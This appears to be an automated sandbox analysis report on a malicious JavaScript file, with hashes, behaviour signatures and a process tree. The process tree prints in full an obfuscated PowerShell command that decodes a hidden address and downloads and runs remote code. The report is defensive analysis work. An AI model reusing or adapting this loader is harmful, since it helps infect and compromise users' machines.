Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-12-2024 15:11

General

  • Target

    493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e.js

  • Size

    202KB

  • MD5

    4cf4a8e642c9b21d7b81e7d81d78a7ca

  • SHA1

    ddac057c2c294eb0ae9042550b505eb8f5cff3d9

  • SHA256

    493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e

  • SHA512

    aaadbc82fd50e6a7c1f9e57894c016dfbf5c47c3cb7043163f94a81842d4625919c64f29a8f0d3df88fb0a3748824e1688d840a0fa53d241dff642b383e9fae9

  • SSDEEP

    1536:nwR+UVd8gM+1hi29p4BKs3vT7a/hdpqE58EHS8gM+1hi29p4BKs3vT7a/hdpqE5O:n+h4pm2h4BmRmeh4rh4y

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\493cc3ec025096c8c9911f0d7920dae7cfc775daf9ef0e7441053cf9c7bc044e.js
    1⤵
      PID:4444
    • C:\Windows\system32\conhost.exe
      conhost --headless powershell $vhzfeylocrjxm='ur' ;new-alias printout c$($vhzfeylocrjxm)l;$tfzkquecvhwgo=(4605,4616,4624,4608,4610,4605,4625,4624,4629,4562,4624,4558,4605,4553,4623,4618,4619,4554,4556,4553,4619,4611,4619,4570,4622,4568,4616,4612,4617,4623,4622,4557,4556);$faelsurjcb=('bronx','get-cmdlet');$ugpabxqvots=$tfzkquecvhwgo;foreach($hmrlpajkngu in $ugpabxqvots){$ahkocdm=$hmrlpajkngu;$ziaduq=$ziaduq+[char]($ahkocdm-4507);$fkbdjnrpogwit=$ziaduq; $tyabnhvdzjioug=$fkbdjnrpogwit};$brkvgzwx[2]=$tyabnhvdzjioug;$oqkacij='rl';$wpyjhxdgkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tyabnhvdzjioug)
      1⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $vhzfeylocrjxm='ur' ;new-alias printout c$($vhzfeylocrjxm)l;$tfzkquecvhwgo=(4605,4616,4624,4608,4610,4605,4625,4624,4629,4562,4624,4558,4605,4553,4623,4618,4619,4554,4556,4553,4619,4611,4619,4570,4622,4568,4616,4612,4617,4623,4622,4557,4556);$faelsurjcb=('bronx','get-cmdlet');$ugpabxqvots=$tfzkquecvhwgo;foreach($hmrlpajkngu in $ugpabxqvots){$ahkocdm=$hmrlpajkngu;$ziaduq=$ziaduq+[char]($ahkocdm-4507);$fkbdjnrpogwit=$ziaduq; $tyabnhvdzjioug=$fkbdjnrpogwit};$brkvgzwx[2]=$tyabnhvdzjioug;$oqkacij='rl';$wpyjhxdgkr=1;.$([char](9992-9887)+'e'+'x')(printout -useb $tyabnhvdzjioug)
        2⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3532

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ayxk3cfb.hx5.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3532-0-0x00007FFCD9673000-0x00007FFCD9675000-memory.dmp

      Filesize

      8KB

    • memory/3532-10-0x000001C1B6190000-0x000001C1B61B2000-memory.dmp

      Filesize

      136KB

    • memory/3532-11-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB

    • memory/3532-12-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB

    • memory/3532-13-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB

    • memory/3532-14-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB

    • memory/3532-15-0x00007FFCD9673000-0x00007FFCD9675000-memory.dmp

      Filesize

      8KB

    • memory/3532-16-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB

    • memory/3532-17-0x000001C1CE740000-0x000001C1CE95C000-memory.dmp

      Filesize

      2.1MB

    • memory/3532-21-0x000001C1CE740000-0x000001C1CE95C000-memory.dmp

      Filesize

      2.1MB

    • memory/3532-22-0x00007FFCD9670000-0x00007FFCDA131000-memory.dmp

      Filesize

      10.8MB